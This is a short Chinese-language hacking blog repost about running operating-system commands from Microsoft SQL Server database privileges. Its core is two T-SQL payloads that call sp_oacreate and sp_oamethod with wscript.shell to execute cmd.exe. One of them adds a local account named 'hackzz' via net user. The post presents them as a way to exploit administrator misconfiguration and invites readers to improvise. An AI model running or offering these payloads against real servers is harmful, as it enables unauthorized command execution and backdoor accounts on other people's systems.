【转载】MsSql的DB权限执行系统命令

  • A+
所属分类:lcx

先声明,以下代码不是利用BUG,而是该管理员的设置失误造成的,几率不大。

DECLARE @s int EXEC sp_oacreate [wscript.shell],@s out EXEC sp_oamethod @s,[run],null,[cmd.exe /c 命令] --

这个就是设置失误,我们利用以上代码可以执行系统命令。

加入我们想加一个用户进去。

就如下:

DECLARE @s int EXEC sp_oacreate [wscript.shell],@s out EXEC sp_oamethod @s,[run],null,[cmd.exe /c net user hackzz /add] --

大家发挥吧,几率不大。

文章来源于lcx.cc:【转载】MsSql的DB权限执行系统命令

相关推荐: 从一个高中生被追责看新加坡互联网管理

新华网新加坡4月28日电(记者 陈济朋)2005年,一个法律判决在新加坡受到关注和热议。 时年17岁的高中生颜怀旭,以“极端种族主义者”自居,在博客上发表数篇攻击其他族群的言论,甚至叫嚣要暗杀部分政治人物。当年11月,颜怀旭被新加坡法院依据《煽动法》判处缓刑监…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: